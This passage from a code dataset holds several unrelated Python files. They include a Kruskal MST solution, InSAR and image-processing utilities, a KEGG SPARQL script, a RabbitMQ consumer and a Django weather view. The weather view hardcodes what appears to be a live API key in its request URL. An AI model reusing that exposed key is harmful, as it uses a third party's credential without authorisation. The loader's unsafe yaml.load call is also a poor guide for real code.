object.__setattr__(self, name, value)\n \n def __getattr__(self, name):\n if name in self.clust.__dict__:\n return getattr(self.clust.__dict__, name)\n\n def __call__(self, data):\n self.data = np.array(data)\n return self.update()\n\n def update(self):\n self.clust.fit(self.data)\n if self.fig is not None:\n self.draw()\n return self.clust.labels_\n\n def draw(self, data=None):\n if data is not None:\n self.__call__(data)\n self.update()\n self.draw_plt()\n return self.clust.labels_\n\n def draw_plt(self): \n if self.fig is None:\n self.fig = plt.figure()\n self.fig.set_size_inches( 8, 5.25 ) \n plt.figure(self.fig.number)\n plt.clf()\n shape = np.array(self.data).shape\n if shape[1] == 1:\n plt.plot(self.data, '-b')\n elif shape[1] == 2:\n plt.scatter(self.data[:,0],self.data[:,1], \n c=self.clust.labels_)\n elif shape[1] == 3:\n pass\n plt.draw()\n\n\n\n\n\n\n\n\n\n# \"\"\"\n# ...##.##......##.....##....###....####.##....##\n# ...##.##......###...###...##.##....##..###...##\n# .#########....####.####..##...##...##..####..##\n# ...##.##......##.###.##.##.....##..##..##.##.##\n# .#########....##.....##.#########..##..##..####\n# ...##.##......##.....##.##.....##..##..##...###\n# ...##.##......##.....##.##.....##.####.##....##\n# \"\"\"\n\n# def tsne_analysis():\n# print(\"tf version: %s\" % tf.__version__)\n# # print(\"mds version: %s\" % mds.__version__)\n# qsh = QSH_Dataset()\n# qsh.load('te_db_1.npy')\n# qsh.shuffle()\n\n# tsne = tSNE()\n# tsne.random = 42\n \n# clst = Clustering()\n# clst.n_clusters = 5\n\n# Y = tsne.draw((qsh['te'][0:1000],qsh['tcentro'][0:1000]))\n# L = clst(Y)\n# clst.draw()\n\n# fig = plt.figure()\n# fig.clf() \n \n# cm = colors.ListedColormap(['k','b','y','g','r']) \n# for i in range(1000):\n# c = np.linspace(0,255,)\n# te = qsh['te'][i]\n# plt.plot(te,'-', color=cm(L[i]), linewidth=0.2) \n\n# plt.ion()\n# plt.show()\n\n\n\n# if __name__ == '__main__':\n# tsne_analysis()\n","repo_name":"AndreaRigoni/rfx-hunch","sub_path":"src/Tprofile_read/Hunch_utils.py","file_name":"Hunch_utils.py","file_ext":"py","file_size_in_byte":10717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22795130916","text":"from sys import stdin\ninput = stdin.readline\n\n\ndef find(node):\n \"\"\"\n node의 root를 리턴, 경로중에 root 아니면 부모를 root로 path compression\n \"\"\"\n if root_list[node] != node:\n root_list[node] = find(root_list[node])\n return root_list[node]\n\n\ndef union(node1, node2):\n \"\"\"\n 두 node가 속한 집합을 합침\n -> node2의 root를 node1의 root로 \n \"\"\"\n node1_root = find(node1)\n node2_root = find(node2)\n # 합침\n root_list[node2_root] = node1_root\n\n\nif __name__ == \"__main__\":\n v, e = map(int, input().split()) # v : ~10만, e : ~100만\n root_list = [i for i in range(v)] # root list for union-find\n # 입력을 한줄에 처리하자~ 그게 더 빠른듯\n edge_info_list = sorted([tuple(map(int, input().split())) for _ in range(e)], key=lambda x: x[2])\n\n weight_sum = 0\n weight_cnt = 0\n # print(root_list)\n for edge in edge_info_list:\n # 작은 weight 순서대로 union\n if weight_cnt == v-2:\n # 제일 큰 weight 제외\n break\n else:\n strt, end, weight = edge\n if find(strt-1) != find(end-1):\n # cycle 생성되지 않는다면 합침\n union(strt-1, end-1)\n weight_sum += weight\n weight_cnt += 1\n # print(root_list)\n print(weight_sum)\n","repo_name":"choieastsea/alg","sub_path":"acmipc/1647_도시분할계획/1647.py","file_name":"1647.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17306726512","text":"#!/usr/bin/env python\n\nimport os, pdb\nimport yaml\nimport glob\n\n'''\nName: Load.py\nDescription: loads and splits the tracks saved by the trackBuilder (kyman.mlapp) into general, poles and feature sections to be parsed by Kymograph.py \n'''\n\n\n# Class to load data from files \nclass Load:\n def __init__(self, verbose=0):\n\n file_name = 'track_files.yaml'\n\n with open(file_name) as infile:\n self.data = yaml.load(infile)\n\n self.verbose = verbose \n\n self.GetFilenames()\n self.ReadFromFiles()\n\n def GetFilenames(self):\n # Expand filenames in the case of special characters\n\n for strain, dat in self.data['strain'].items():\n for idx,fpath in enumerate( dat['path']):\n files = []\n for fname in dat['files'][idx]:\n \n temp = glob.glob( os.path.join(fpath,fname) ) \n for fil in temp:\n head_tail = os.path.split(fil)\n files += [ head_tail[1] ]\n self.data['strain'][strain]['files'][idx] = files\n \n def ReadFromFiles(self):\n # Read information from all files given yaml data \n \n for strain, dat in self.data['strain'].items():\n for idx,fpath in enumerate( dat['path']):\n\n self.data['strain'][strain]['geninfo'] = []\n self.data['strain'][strain]['polesinfo'] = []\n self.data['strain'][strain]['featureinfo'] = []\n\n for fname in dat['files'][idx]:\n\n gen, poles, feats = self.ReadFromFile( fpath, fname)\n self.data['strain'][strain]['geninfo'] += [gen]\n self.data['strain'][strain]['polesinfo'] += [poles]\n self.data['strain'][strain]['featureinfo'] += [feats]\n\n\n def ReadFromFile(self, fpath, fname):\n # Read data from files and parse into general, poles and feature information\n\n # Initialize lists\n geninfo = []\n polesinfo = []\n featureinfo = []\n\n if self.verbose:\n self.PrintFile( fname)\n\n # Add General Information\n with open(fpath + fname) as fp:\n \n addLine = None \n for cnt, line in enumerate(fp):\n \n if line.find( 'General Information') > -1:\n addLine = 'G' \n if line.find( 'Poles Information') > -1:\n addLine = 'P' \n if line.find( 'Feature Information') > -1:\n addLine = 'F' \n\n # Add General Information\n if addLine == 'G':\n geninfo.append( line)\n\n # Add Poles Information\n elif addLine == 'P':\n polesinfo.append( line)\n\n # Add Feature Information\n elif addLine == 'F':\n featureinfo.append( line)\n\n return geninfo, polesinfo, featureinfo\n\n def PrintFile(self, fname):\n # Print all the information from a file to screen \n\n fp = open( self.fpath + fname)\n fc = fp.read()\n print(fc)\n fp.close()\n\n##########################################\nif __name__ == \"__main__\":\n \n x = Load(verbose=1)\n\n","repo_name":"saadjansari/KymoAnalysis","sub_path":"src/Load.py","file_name":"Load.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8117589606","text":"#!/usr/bin/env python3\n'''\nSHORT DESCRIPTION\nChange the reference point of a raster data set.\n\nFUTUTRE IMPROVEMENTS\n\nTESTING STATUS\nTested.\n'''\n\n### IMPORT MODULES ---\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom ImageIO import load_gdal_dataset, confirm_outdir, confirm_outname_ext, \\\n save_gdal_dataset\nfrom ImageMasking import mask_dataset\nfrom GeoFormatting import DS_to_extent, lola_to_xy\nfrom ImageViewing import image_percentiles\n\n\n### PARSER ---\nDescription = '''Change the reference point of a raster data set.'''\n\nExamples = ''''''\n\ndef createParser():\n parser = argparse.ArgumentParser(description=Description,\n formatter_class=argparse.RawTextHelpFormatter, epilog=Examples)\n\n # Inputs\n InputArgs = parser.add_argument_group('INPUTS')\n InputArgs.add_argument(dest='imgName', type=str,\n help='Image name.')\n InputArgs.add_argument('-lon','--longitude', dest='lon', type=float,\n default=None,\n help='Reference longitude.')\n InputArgs.add_argument('-lat','--latitude', dest='lat', type=float,\n default=None,\n help='Reference latitude.')\n InputArgs.add_argument('-r','--radius', dest='radius', type=int, default=0,\n help='\\\"Search radius\\\" of pixels around the given reference pixel. ([0], 1, 2, ...)')\n InputArgs.add_argument('-m','--mask', dest='maskArgs', nargs='+', type=str,\n default=None,\n help='Arguments for masking values/maps. ([None]).')\n InputArgs.add_argument('-i','--interactive', dest='interactive',\n action='store_true',\n help='Interactive mode.')\n\n # Outputs\n OutputArgs = parser.add_argument_group('OUTPUTS')\n OutputArgs.add_argument('-v','--verbose', dest='verbose',\n action='store_true',\n help='Verbose mode.')\n OutputArgs.add_argument('-p','--plot', dest='plot', action='store_true',\n help='Plot outputs.')\n OutputArgs.add_argument('-o','--outname', dest='outName', type=str,\n default='Out',\n help='Output head name.')\n\n return parser\n\ndef cmdParser(iargs = None):\n parser = createParser()\n return parser.parse_args(args=iargs)\n\n\n\n### REFERENCE POINT ---\nclass adjust_ref_pt:\n ## Defaults\n interactive = False # declare static mode as default\n\n\n ## Setup\n def __init__(self, imgName, maskArgs, verbose=False):\n '''\n Adjust the reference point of a given data set to the new\n specified lon and lat.\n First, convert the lon/lat coords to pixel values and check that\n they are not masked.\n Then, adjust the velocity field to the new reference point by\n subtracting the velocity value at that location.\n\n Initialize by loading the original data set and creating a mask.\n '''\n # Parameters\n self.verbose = verbose\n\n # Load data set\n if self.verbose == True: print('*'*32)\n self.DS = load_gdal_dataset(imgName, verbose=self.verbose)\n\n # Determine geographic information\n self.tnsf = self.DS.GetGeoTransform()\n self.extent = DS_to_extent(self.DS)\n\n # Create mask\n self.mask = mask_dataset(self.DS, maskArgs, verbose=self.verbose)\n\n # Retrieve image\n self.__retrieve_image__()\n\n\n def __retrieve_image__(self):\n '''\n Retrieve original image from GDAL data set, mask, and copy to\n referenced image.\n '''\n # Retrieve original image\n self.img = self.DS.GetRasterBand(1).ReadAsArray()\n\n # Mask image\n self.img = np.ma.array(self.img, mask=(self.mask==0))\n\n # Copy to re-referencing image\n self.refImg = self.img.copy()\n\n\n ## Adjustment\n def __adjust_to_pixel__(self, px, py, radius):\n '''\n Adjust the image to the given pixel location.\n '''\n # Determine value at reference point\n self.__get_ref_value__(px, py, radius)\n\n # Remove reference point from data set\n self.refImg = self.img - self.refValue\n\n # Report if specified\n if self.verbose == True:\n print('Removed reference value: {:f}'.format(self.refValue))\n\n\n def __get_ref_value__(self, px, py, radius):\n '''\n Get the reference value from the original image.\n '''\n # Range of pixels based on location and radius\n yRange = np.arange(py-radius, py+radius+1)\n xRange = np.arange(px-radius, px+radius+1)\n \n # Adjustment value\n refValues = self.img[yRange,xRange]\n self.refValue = np.median(refValues.compressed().flatten())\n\n\n ## Plotting\n def __plot_adjusted_image__(self, fig, ax, vmin, vmax):\n '''\n Plot the re-referenced image.\n '''\n # Plot image\n cax = ax.imshow(self.refImg, extent=self.extent,\n cmap='jet', vmin=vmin, vmax=vmax)\n\n return cax\n\n\n def __plot_ref_point__(self, fig, ax, lon, lat):\n '''\n Plot the current reference point.\n '''\n self.ax.scatter(lon, lat, facecolor='w', edgecolor='k')\n\n\n ## Standard mode\n def adjust_reference(self, lon, lat, radius=0):\n '''\n Adjust the image to the new reference point using non-GUI adjustment.\n '''\n # Coordinate values\n self.lon = np.array([lon])\n self.lat = np.array([lat])\n\n # Check that reference point is within valid pixels; convert\n # lon/lat to pixel coordinates\n px, py = lola_to_xy(self.tnsf, self.lon, self.lat,\n verbose=self.verbose)\n\n # Adjust image\n self.__adjust_to_pixel__(px, py, radius)\n\n\n def plot(self):\n '''\n Plot results of reference point adjustment from the standard\n workflow.\n '''\n # Spawn figure\n fig, ax = plt.subplots()\n cbarOrient = 'vertical'\n\n # Determine clip values\n vmin, vmax = image_percentiles(self.refImg)\n\n # Plot re-referenced image\n cax = self.__plot_adjusted_image__(fig, ax, vmin, vmax)\n\n # Plot reference point\n ax.scatter(self.lon, self.lat, facecolor='w', edgecolor='k')\n\n # Format plot\n fig.colorbar(cax, ax=ax, orientation=cbarOrient)\n\n\n ## Interactive mode\n def plot_interactive(self, lon=None, lat=None, radius=0):\n ''' Interactive plot for reference point adjustment. '''\n if self.verbose == True:\n print('*'*32)\n print('Interactive reference point adjustment')\n\n # Record search radius\n self.radius = radius\n\n # Find clip values\n self.vmin, self.vmax = image_percentiles(self.img)\n\n # Create interactive plot\n self.fig, self.ax = plt.subplots()\n cbarOrient = 'vertical'\n\n # Adjust to pre-specified reference point\n if lon is not None and lat is not None:\n self.adjust_reference(lon, lat, radius)\n self.__plot_ref_point__(self.fig, self.ax, lon, lat)\n\n # Plot original image\n cax = self.__plot_adjusted_image__(self.fig, self.ax, None, None)\n\n # Colorbar\n self.fig.colorbar(cax, ax=self.ax, orientation=cbarOrient)\n\n # Interact with image\n self.fig.canvas.mpl_connect('button_press_event', self.__live_adjust__)\n\n\n def __live_adjust__(self, event):\n '''\n Perform a \"live\" reference point adjustment.\n '''\n # Record click values\n lon = event.xdata\n lat = event.ydata\n\n # Convert to pixel values\n px, py = lola_to_xy(self.tnsf, np.array(lon), np.array(lat),\n verbose=self.verbose)\n px = px[0]; py = py[0]\n\n # Check that mask is not selected\n if self.mask[py,px] == 1:\n # ... Continue with valid value\n\n # Adjust to selected pixel\n self.__adjust_to_pixel__(px, py, self.radius)\n\n # Clear axis\n self.ax.cla()\n\n # Replot image\n self.vmin, self.vmax = image_percentiles(self.refImg)\n self.__plot_adjusted_image__(self.fig, self.ax, self.vmin, self.vmax)\n\n # Plot reference point\n self.__plot_ref_point__(self.fig, self.ax, lon, lat)\n\n # Update image\n self.fig.canvas.draw()\n\n else:\n # ... Report invalid value\n print('Location ({:f} {:f}) is masked, try again'.format(lon, lat))\n\n\n\n### MAIN ---\nif __name__ == '__main__':\n ## Inputs\n # Gather arguments\n inps = cmdParser()\n\n\n ## Adjust reference point\n # Instantiate reference adjustment class\n refAdjust = adjust_ref_pt(inps.imgName, inps.maskArgs,\n verbose=inps.verbose)\n\n if inps.interactive == True:\n # Interactive mode\n refAdjust.plot_interactive(lon=inps.lon, lat=inps.lat)\n plt.show()\n\n else:\n # Standard mode\n refAdjust.adjust_reference(lon=inps.lon, lat=inps.lat,\n radius=inps.radius)\n\n if inps.plot == True:\n refAdjust.plot()\n plt.show()\n\n\n ## Save data set\n # Checks\n outName = confirm_outname_ext(inps.outName, ['tif']) # confirm output extension\n confirm_outdir(outName)\n\n # Save data set\n save_gdal_dataset(outName, refAdjust.refImg,\n mask=refAdjust.mask, exDS=refAdjust.DS,\n verbose=inps.verbose)\n","repo_name":"rzinke/InsarAdd-On","sub_path":"bin/adjust_reference_point.py","file_name":"adjust_reference_point.py","file_ext":"py","file_size_in_byte":9276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20644693646","text":"from __future__ import division\nimport datetime\nimport sys\nimport numpy as np\nfrom PIL import Image\nimport cv2 as cv\nimport spams\nimport matplotlib.pyplot as plt\n\nADDITIONAL_NP_STATS = False\n\ndef pil_to_np_rgb(img):\n \"\"\"\n Convert a PIL Image to a NumPy array.\n As: RGB PIL (w, h) -> NumPy (h, w, 3).\n \"\"\"\n return np.asarray(img)\n\ndef np_to_pil(np_img):\n \"\"\"\n Convert a NumPy array to a PIL Image.\n Args:\n np_img: The image represented as a NumPy array.\n Returns:\n The NumPy array converted to a PIL Image.\n \"\"\"\n if np_img.dtype == \"bool\":\n np_img = np_img.astype(\"uint8\") * 255\n elif np_img.dtype == \"float64\":\n np_img = (np_img * 255).astype(\"uint8\")\n return Image.fromarray(np_img)\n\n\ndef np_info(np_arr, name=None, elapsed=None):\n \"\"\"\n Display information (shape, type, max, min, etc) about a NumPy array.\n Args:\n np_arr: The NumPy array.\n name: The (optional) name of the array.\n elapsed: The (optional) time elapsed to perform a filtering operation.\n \"\"\"\n\n if name is None:\n name = \"NumPy Array\"\n if elapsed is None:\n elapsed = \"---\"\n\n if ADDITIONAL_NP_STATS is False:\n print(\"%-20s | Time: %-14s Type: %-7s Shape: %s\" % (name, str(elapsed), np_arr.dtype, np_arr.shape))\n else:\n mas = np_arr.max()\n mis = np_arr.min()\n mean = np_arr.mean()\n is_binary = \"T\" if (np.unique(np_arr).size == 2) else \"F\"\n print(\"%-20s | Time: %-14s Min: %6.2f Max: %6.2f Mean: %6.2f Binary: %s Type: %-7s Shape: %s\" % (\n name, str(elapsed), mas, mis, mean, is_binary, np_arr.dtype, np_arr.shape))\n return\n\n\ndef display_img(np_img):\n \"\"\"\n Convert a NumPy array to a PIL image, and display the image.\n Args:\n np_img: Image as a NumPy array.\n \"\"\"\n result = np_to_pil(np_img)\n if result.mode == 'L':\n result = result.convert('RGB')\n result.show()\n\n\ndef mask_rgb(rgb, mask):\n \"\"\"\n Apply a binary (T/F, 1/0) mask to a 3-channel RGB image and output the result.\n Args:\n rgb: RGB image as a NumPy array.\n mask: An image mask to determine which pixels in the original image should be displayed.\n \"\"\"\n return rgb * np.dstack([mask, mask, mask])\n\nclass Time:\n \"\"\"\n Class for displaying elapsed time.\n \"\"\"\n\n def __init__(self):\n self.start = datetime.datetime.now()\n\n def elapsed_display(self):\n time_elapsed = self.elapsed()\n print(\"Time elapsed: \" + str(time_elapsed))\n\n def elapsed(self):\n self.end = datetime.datetime.now()\n time_elapsed = self.end - self.start\n return time_elapsed\n\n\ndef read_image(path):\n \"\"\"\n Read an image to RGB uint8\n :param path:\n :return:\n \"\"\"\n im = cv.imread(path)\n im = cv.cvtColor(im, cv.COLOR_BGR2RGB)\n return im\n\n\ndef show_colors(c):\n \"\"\"\n Shows rows of C as colors (RGB)\n :param c:\n :return:\n \"\"\"\n n = c.shape[0]\n for i in range(n):\n if c[i].max() > 1.0:\n plt.plot([0, 1], [n - 1 - i, n - 1 - i], c=c[i] / 255, linewidth=20)\n else:\n plt.plot([0, 1], [n - 1 - i, n - 1 - i], c=c[i], linewidth=20)\n plt.axis('off')\n plt.axis([0, 1, -1, n])\n return\n\n\ndef show(image, now=True, fig_size=(10, 10)):\n \"\"\"\n Show an image (np.array).\n Caution! Rescales image to be in range [0,1].\n :param image:\n :param now:\n :param fig_size:\n :return:\n \"\"\"\n image = image.astype(np.float32)\n m, mm = image.min(), image.max()\n\n if fig_size is not None:\n plt.rcParams['figure.figsize'] = (fig_size[0], fig_size[1])\n plt.imshow((image - m) / (mm - m), cmap='gray')\n plt.axis('off')\n\n if now:\n plt.show()\n return\n\n\ndef build_stack(tup):\n \"\"\"\n Build a stack of images from a tuple of images\n :param tup:\n :return:\n \"\"\"\n\n nn = len(tup)\n if len(tup[0].shape) == 3:\n h, w, c = tup[0].shape\n stack = np.zeros((nn, h, w, c))\n elif len(tup[0].shape) == 2:\n h, w = tup[0].shape\n stack = np.zeros((nn, h, w))\n else:\n sys.exit(\"The shape of the tuple is not recognised.\")\n\n for i in range(nn):\n stack[i] = tup[i]\n return stack\n\n\ndef patch_grid(ims, width=5, sub_sample=None, rand=False, save_name=None):\n \"\"\"\n Display a grid of patches\n Args:\n ims: Image to patch\n width: The width of the patch\n sub_sample: Option to sub sample the patches\n rand: Should the output be random\n save_name: The name to save it\n \"\"\"\n\n n0 = np.shape(ims)[0]\n\n if sub_sample is None:\n nn = n0\n stack = ims\n\n elif sub_sample is not None and rand == False:\n nn = sub_sample\n stack = ims[:nn]\n\n elif sub_sample is not None and rand == True:\n nn = sub_sample\n idx = np.random.choice(range(nn), sub_sample, replace=False)\n stack = ims[idx]\n else:\n sys.exit(\"Please, define sub_sample and rand\")\n\n height = np.ceil(float(nn) / width).astype(np.uint16)\n plt.rcParams['figure.figs'] = (18, (18 / width) * height)\n plt.figure()\n\n for i in range(nn):\n plt.subplot(height, width, i + 1)\n im = stack[i]\n show(im, now=False, fig_size=None)\n\n if save_name is not None:\n plt.savefig(save_name)\n plt.show()\n return\n\ndef open_image_np(filename):\n \"\"\"\n Open an image as an RGB NumPy array.\n (accepted *.jpg, *.png, etc)\n Args:\n filename: Name of the image file.\n \"\"\"\n image = Image.open(filename)\n return pil_to_np_rgb(image)\n\n\ndef standardize_brightness(x):\n \"\"\"\n Normalise the brightness of images.\n Args:\n x: Image to normalise\n \"\"\"\n p = np.percentile(x, 90)\n return np.clip(x * 255.0 / p, 0, 255).astype(np.uint8)\n\n\ndef remove_zeros(x):\n \"\"\"\n Remove zeros, replace with 1's.\n\n Args:\n x: Uint8 array to replace on\n \"\"\"\n mask = (x == 0)\n x[mask] = 1\n return x\n\n\ndef convert_rgb_od(x, t=\"od\"):\n \"\"\"\n Inter-convert between RGB and optical density\n Args:\n x: Image to convert\n t: Conversion type\n \"\"\"\n if t == \"od\":\n x = remove_zeros(x)\n out = -1 * np.log(x / 255)\n\n elif t == \"rgb\":\n out = (255 * np.exp(-1 * x)).astype(np.uint8)\n else:\n print(\"t must be one of od or rgb\")\n out = 0\n\n return out\n\n\ndef normalize_rows(x):\n \"\"\"\n Normalize rows of an array\n\n Args:\n x: Array to normalise\n \"\"\"\n return x / np.linalg.norm(x, axis=1)[:, None]\n\n\ndef not_white_mask(x, thresh=0.8):\n \"\"\"\n Get a binary mask where true denotes 'not white'\n\n Args:\n x: Image to mask\n thresh: The mask threshold to use\n \"\"\"\n i_lab = cv.cvtColor(x, cv.COLOR_RGB2LAB)\n ll = i_lab[:, :, 0] / 255.0\n return ll < thresh\n\n\ndef sign(x):\n \"\"\"\n Returns the sign of x\n :param x:\n :return:\n \"\"\"\n if x > 0:\n return +1\n elif x < 0:\n return -1\n elif x == 0:\n return 0\n\n\ndef get_concentrations(x, stain_matrix, lamda=0.01):\n \"\"\"\n Get concentrations, a npix x 2 matrix\n\n Args:\n x: Image to convert\n stain_matrix: a 2x3 stain matrix\n lamda: Factor\n \"\"\"\n od = convert_rgb_od(x, t=\"od\").reshape((-1, 3))\n return spams.lasso(od.T, D=stain_matrix.T, mode=2, lambda1=lamda, pos=True).toarray().T\n\n","repo_name":"caanene1/iwspp","sub_path":"iwspp/flows/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":7176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17299506485","text":"import requests\nfrom django.shortcuts import render, redirect\nfrom .models import City\nfrom .forms import CityFrom\n\n# Create your views here.\n\n\ndef weather(request):\n\n url = 'http://api.openweathermap.org/data/2.5/weather?q={}&units=metric&appid=58c4e41bd6b01af1061714aad969ee0d'\n weather_data = []\n err_msg = ''\n message = ''\n msg_class = ''\n\n if request.method == 'POST':\n form = CityFrom(request.POST)\n if form.is_valid():\n new_city = form.cleaned_data['name']\n if(City.objects.filter(name=new_city).count() == 0):\n resp = requests.get(url.format(new_city)).json()\n if resp['cod'] == 200:\n form.save()\n else:\n err_msg = 'Invalid City'\n else:\n err_msg = 'City already exists'\n if err_msg:\n message = err_msg\n msg_class = 'is-danger'\n else:\n message = 'City added successfully'\n msg_class = 'is-success'\n form = CityFrom()\n err_msg = ''\n cities = City.objects.all()\n for city in cities:\n resp = requests.get(url.format(city.name)).json()\n city_weather = {\n 'city': city.name,\n 'temperature': resp['main']['temp'],\n 'description': resp['weather'][0]['description'],\n 'icon': resp['weather'][0]['icon'],\n }\n weather_data.append(city_weather)\n print(weather_data)\n info = {\n 'weather_data': weather_data,\n 'form': form,\n 'message': message,\n 'msg_class': msg_class\n }\n return render(request, 'weather.html', info)\n\n\ndef delete_city(request, city_name):\n City.objects.get(name=city_name).delete()\n return redirect('home')\n","repo_name":"Shehzad37/Weather-App","sub_path":"weather/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"25098004948","text":"# coding: utf-8\n\nimport csv\nimport json\nimport re\nimport argparse\nfrom SPARQLWrapper import SPARQLWrapper\n\n# 出力ファイル名とサンプル数を引数にする\nparser = argparse.ArgumentParser()\nparser.add_argument('fromdb', help='変換元DB')\nparser.add_argument('todb', help='変換先DB')\nparser.add_argument('-n', type=int, default=0, help='サンプルの数。0:全部')\nparser.add_argument('--filename', default='pairs.tsv', help='出力ファイル名')\n\nargs = parser.parse_args()\nfilename=args.filename\nn=args.n\nfromdb=args.fromdb\ntodb=args.todb\n# エンドポイント\nKEGG_Endpoint='https://www.genome.jp/sparql/linkdb'\n\n\n# クエリのテンプレート\nquery_template='''\nPREFIX rdf: \nPREFIX rdfs: \nPREFIX linkdb: \nPREFIX linkdb_core: \nSELECT ?fromlabel ?tolabel WHERE {{\n ?from linkdb:equivalent ?to .\n ?from linkdb_core:database ?fromdb .\n ?to linkdb_core:database ?todb .\n\n ?fromdb linkdb_core:dblabel \"{0}\" .\n ?todb linkdb_core:dblabel \"{1}\" .\n\n ?from rdfs:label ?fromlabel .\n ?to rdfs:label ?tolabel .\n}} ORDER BY ?fromlabel ?tolabel\n'''\n\n# 実行\n\nquery=query_template.format(fromdb,todb)\nkegg_sparql = SPARQLWrapper(endpoint=KEGG_Endpoint, returnFormat='json')\nkegg_sparql.setQuery(query)\nresults = kegg_sparql.query().convert()['results']['bindings']\n\nif n==0:\n n=len(results)\n\n\nwith open(filename, \"w\") as f:\n for r in results[:n]:\n fromid=r['fromlabel']['value']\n toid=r['tolabel']['value']\n print(re.sub('[a-z]+:','',fromid), re.sub('[a-z]+:','',toid), sep='\\t',file=f)\n","repo_name":"togoid/togoid-config","sub_path":"config-suspend/kegg_compound-pubchem_substance/kegg_linkdb.py","file_name":"kegg_linkdb.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"ja","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"10714448516","text":"from cStringIO import StringIO\n\nimport pytest\n\nfrom core.management.commands import dump_gene_pathway\n\n\n@pytest.mark.django_db\ndef test():\n # pathways = ['Akt_Signaling_Pathway_Glucose_Uptake']\n\n stream = StringIO()\n\n dump_gene_pathway(stream)\n stream.seek(0)\n lines = stream.readlines()\n assert len(lines) > 1, 'Should contain at least header and a data row'\n\n stream.close()\n","repo_name":"Mihkorz/of2","sub_path":"mirna/tests/functional/dump_gene_pathway_test.py","file_name":"dump_gene_pathway_test.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39770488739","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport pika\nimport threading\nimport time\nimport conf\n\n\nLOGGER = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO, format=conf.LOG_FORMAT)\n\n\nclass Consumer(threading.Thread):\n \"\"\"This is an example consumer that will handle unexpected interactions\n with RabbitMQ such as channel and connection closures.\n\n If RabbitMQ closes the connection, it will reopen it. You should\n look at the output, as there are limited reasons why the connection may\n be closed, which usually are tied to permission related issues or\n socket timeouts.\n\n If the channel is closed, it will indicate a problem with one of the\n commands that were issued and that should surface in the output as well.\n\n \"\"\"\n\n def __init__(self, conn, amqp_url, queue, **kwargs):\n \"\"\"Create a new instance of the consumer class, passing in the AMQP\n URL used to connect to RabbitMQ.\n\n :param str amqp_url: The AMQP url to connect with\n\n \"\"\"\n super(Consumer, self).__init__(**kwargs)\n\n self.consumer_name = self.getName()\n self._connection = conn\n self._channel = None\n self._closing = False\n self._consumer_tag = None\n self._url = amqp_url\n self.queue = queue\n\n def open_channel(self):\n \"\"\"Open a new channel with RabbitMQ by issuing the Channel.Open RPC\n command. When RabbitMQ responds that the channel is open, the\n on_channel_open callback will be invoked by pika.\n\n \"\"\"\n LOGGER.info('Creating a new channel')\n self._connection.channel(on_open_callback=self.on_channel_open)\n\n def on_channel_open(self, channel):\n \"\"\"This method is invoked by pika when the channel has been opened.\n The channel object is passed in so we can make use of it.\n\n Since the channel is now open, we'll declare the exchange to use.\n\n :param pika.channel.Channel channel: The channel object\n\n \"\"\"\n LOGGER.info('Channel opened')\n self._channel = channel\n self.start_consuming()\n\n def start_consuming(self):\n \"\"\"This method sets up the consumer by first calling\n add_on_cancel_callback so that the object is notified if RabbitMQ\n cancels the consumer. It then issues the Basic.Consume RPC command\n which returns the consumer tag that is used to uniquely identify the\n consumer with RabbitMQ. We keep the value to use it when we want to\n cancel consuming. The on_message method is passed in as a callback pika\n will invoke when a message is fully received.\n\n \"\"\"\n LOGGER.info('Issuing consumer related RPC commands')\n self.add_on_cancel_callback()\n # Don't dispatch a new message to a worker until it has processed\n # and acknowledged the previous one.\n self._channel.basic_qos(prefetch_count=1)\n self._consumer_tag = self._channel.basic_consume(self.on_message,\n self.queue)\n\n def add_on_cancel_callback(self):\n \"\"\"Add a callback that will be invoked if RabbitMQ cancels the consumer\n for some reason. If RabbitMQ does cancel the consumer,\n on_consumer_cancelled will be invoked by pika.\n\n \"\"\"\n LOGGER.info('Adding consumer cancellation callback')\n self._channel.add_on_cancel_callback(self.on_consumer_cancelled)\n\n def on_consumer_cancelled(self, method_frame):\n \"\"\"Invoked by pika when RabbitMQ sends a Basic.Cancel for a consumer\n receiving messages.\n\n :param pika.frame.Method method_frame: The Basic.Cancel frame\n\n \"\"\"\n LOGGER.info('Consumer was cancelled remotely, shutting down: %r',\n method_frame)\n if self._channel:\n self._channel.close()\n\n def on_message(self, unused_channel, basic_deliver, properties, body):\n \"\"\"Invoked by pika when a message is delivered from RabbitMQ. The\n channel is passed for your convenience. The basic_deliver object that\n is passed in carries the exchange, routing key, delivery tag and\n a redelivered flag for the message. The properties passed in is an\n instance of BasicProperties with the message properties and the body\n is the message that was sent.\n\n :param pika.channel.Channel unused_channel: The channel object\n :param pika.Spec.Basic.Deliver: basic_deliver method\n :param pika.Spec.BasicProperties: properties\n :param str|unicode body: The message body\n\n \"\"\"\n LOGGER.info('Received message # %s from %s: %s',\n basic_deliver.delivery_tag, properties.app_id, body)\n def work():\n LOGGER.info('Processing message...')\n time.sleep(10)\n self.acknowledge_message(basic_deliver.delivery_tag)\n\n threading.Thread(target=work).start()\n\n def acknowledge_message(self, delivery_tag):\n \"\"\"Acknowledge the message delivery from RabbitMQ by sending a\n Basic.Ack RPC method for the delivery tag.\n\n :param int delivery_tag: The delivery tag from the Basic.Deliver frame\n\n \"\"\"\n LOGGER.info('Acknowledging message %s', delivery_tag)\n self._channel.basic_ack(delivery_tag)\n\n def stop_consuming(self):\n \"\"\"Tell RabbitMQ that you would like to stop consuming by sending the\n Basic.Cancel RPC command.\n\n \"\"\"\n if self._channel:\n LOGGER.info('Sending a Basic.Cancel RPC command to 